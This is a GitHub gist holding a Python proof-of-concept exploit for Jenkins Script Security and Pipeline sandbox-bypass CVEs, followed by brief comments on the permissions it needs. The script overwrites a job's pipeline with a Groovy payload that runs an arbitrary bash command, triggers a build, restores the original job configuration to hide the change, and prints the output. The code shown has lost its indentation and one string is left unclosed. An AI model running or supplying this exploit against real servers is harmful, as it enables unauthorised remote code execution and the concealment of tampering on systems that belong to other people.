Skip to content

Instantly share code, notes, and snippets.

Last active July 29, 2019 09:29
Show Gist options
  • Save adamyordan/96da0ad5e72cbc97285f2df340cac43b to your computer and use it in GitHub Desktop.
Save adamyordan/96da0ad5e72cbc97285f2df340cac43b to your computer and use it in GitHub Desktop.
# Author: Adam Jordan
# Date: 2019-02-15
# Repository:
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
import argparse
import jenkins
import time
from xml.etree import ElementTree
payload = '''
import org.buildobjects.process.ProcBuilder
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
def run_command(url, cmd, job_name, username, password):
print '[+] connecting to jenkins...'
server = jenkins.Jenkins(url, username, password)
print '[+] crafting payload...'
ori_job_config = server.get_job_config(job_name)
et = ElementTree.fromstring(ori_job_config)
et.find('definition/script').text = payload % cmd
job_config = ElementTree.tostring(et, encoding='utf8', method='xml')
print '[+] modifying job with payload...'
server.reconfig_job(job_name, job_config)
print '[+] putting job build to queue...'
queue_number = server.build_job(job_name)
print '[+] waiting for job to build...'
queue_item_info = {}
while 'executable' not in queue_item_info:
queue_item_info = server.get_queue_item(queue_number)
print '[+] restoring job...'
server.reconfig_job(job_name, ori_job_config)
print '[+] fetching output...'
last_build_number = server.get_job_info(job_name)['lastBuild']['number']
console_output = server.get_build_console_output(job_name, last_build_number)
print '[+] OUTPUT:'
print console_output
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Jenkins RCE')
parser.add_argument('--url', help='target jenkins url')
parser.add_argument('--cmd', help='system command to be run')
parser.add_argument('--job', help='job name')
parser.add_argument('--username', help='username')
parser.add_argument('--password', help='password')
args = parser.parse_args()
run_command(args.url, args.cmd, args.job, args.username, args.password)
Copy link

orangetw commented Feb 15, 2019

Great job :), but this exploit also needs the job and CONFIGURE permission, not Overall/Read, I will publish the full exploit chain on next week :P

Copy link

Yes, you're right @orangetw.
This exploit need Job/Configure permission, and also optionally Job/Build to trigger build execution.

Copy link

bl4de commented Feb 18, 2019

Good stuff, thanks for sharing :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment